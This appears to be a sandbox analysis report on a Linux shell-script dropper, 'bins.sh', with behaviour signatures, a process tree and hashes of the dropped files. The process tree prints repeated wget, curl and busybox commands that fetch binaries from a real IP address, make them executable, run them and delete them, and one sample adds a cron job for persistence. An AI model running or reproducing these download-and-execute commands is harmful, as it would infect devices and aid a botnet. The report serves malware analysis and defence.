Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    07/11/2024, 11:07

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-m8f7ps1erm
  • SHA256 31726b2c81c0bb80f99a8fe50b2b7f5b12de23e20af9821fed4c4caa2c2ca52f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1529) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:718
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          ./vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            ./AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:741
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:749
            • /bin/chmod
              chmod 777 HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              ./HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/rm
              rm HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Writes file to tmp directory
                PID:759
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:770
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/chmod
                chmod 777 vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                ./vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Executes dropped EXE
                PID:786
              • /bin/rm
                rm vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                  2⤵
                  • Writes file to tmp directory
                  PID:790
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                  2⤵
                  • Writes file to tmp directory
                  PID:798
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /bin/chmod
                  chmod 777 HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                  2⤵
                  • File and Directory Permissions Modification
                  PID:805
                • /tmp/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                  ./HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:806
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:808
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:809
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:810
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:811
                      • /bin/rm
                        rm HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                        2⤵
                          PID:813
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                          2⤵
                            PID:846
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                            2⤵
                              PID:893
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                              2⤵
                              • Writes file to tmp directory
                              PID:902
                            • /bin/chmod
                              chmod 777 91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:903
                            • /tmp/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                              ./91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                              2⤵
                              • Executes dropped EXE
                              PID:904
                            • /bin/rm
                              rm 91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                              2⤵
                                PID:906
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                2⤵
                                  PID:907
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                  2⤵
                                    PID:912
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:918
                                  • /bin/chmod
                                    chmod 777 9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:919
                                  • /tmp/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    ./9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                    • Executes dropped EXE
                                    PID:920
                                  • /bin/rm
                                    rm 9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                      PID:922
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                      2⤵
                                        PID:923
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                        2⤵
                                          PID:924
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:925
                                        • /bin/chmod
                                          chmod 777 80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:926
                                        • /tmp/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                          ./80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                          2⤵
                                          • Executes dropped EXE
                                          PID:927
                                        • /bin/rm
                                          rm 80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                          2⤵
                                            PID:929
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                            2⤵
                                              PID:930
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                              2⤵
                                                PID:931
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:932
                                              • /bin/chmod
                                                chmod 777 LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:933
                                              • /tmp/LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                                ./LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                                2⤵
                                                • Executes dropped EXE
                                                PID:934
                                              • /bin/rm
                                                rm LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                                2⤵
                                                  PID:936
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/3aOzdOdUwTROm5YXHNzI3hyGCqicn4M2N7
                                                  2⤵
                                                    PID:937
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/3aOzdOdUwTROm5YXHNzI3hyGCqicn4M2N7
                                                    2⤵
                                                      PID:938

                                                  Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf

                                                        • Path /tmp/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                                        • Size 99KB
                                                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX

                                                        • Path /tmp/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                                                        • Size 127KB
                                                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt

                                                        • Path /tmp/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                                        • Size 107KB
                                                        • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw

                                                        • Path /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
                                                        • Size 111KB
                                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm

                                                        • Path /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
                                                        • Size 112KB
                                                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk

                                                        • Path /tmp/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                                                        • Size 151KB
                                                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3

                                                        • Path /tmp/LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                                        • Size 177KB
                                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC

                                                        • Path /tmp/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                                                        • Size 151KB
                                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD

                                                        • Path /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
                                                        • Size 111KB
                                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        tmp.3D21mn

                                                        • Path /var/spool/cron/crontabs/tmp.3D21mn
                                                        • Size 210B
                                                        • SHA256 dd8f6bb3e51edbbd0e248e666100081642949333dd283ddb7e60eee88a202660
                                                        • MD5 SHA1 SHA512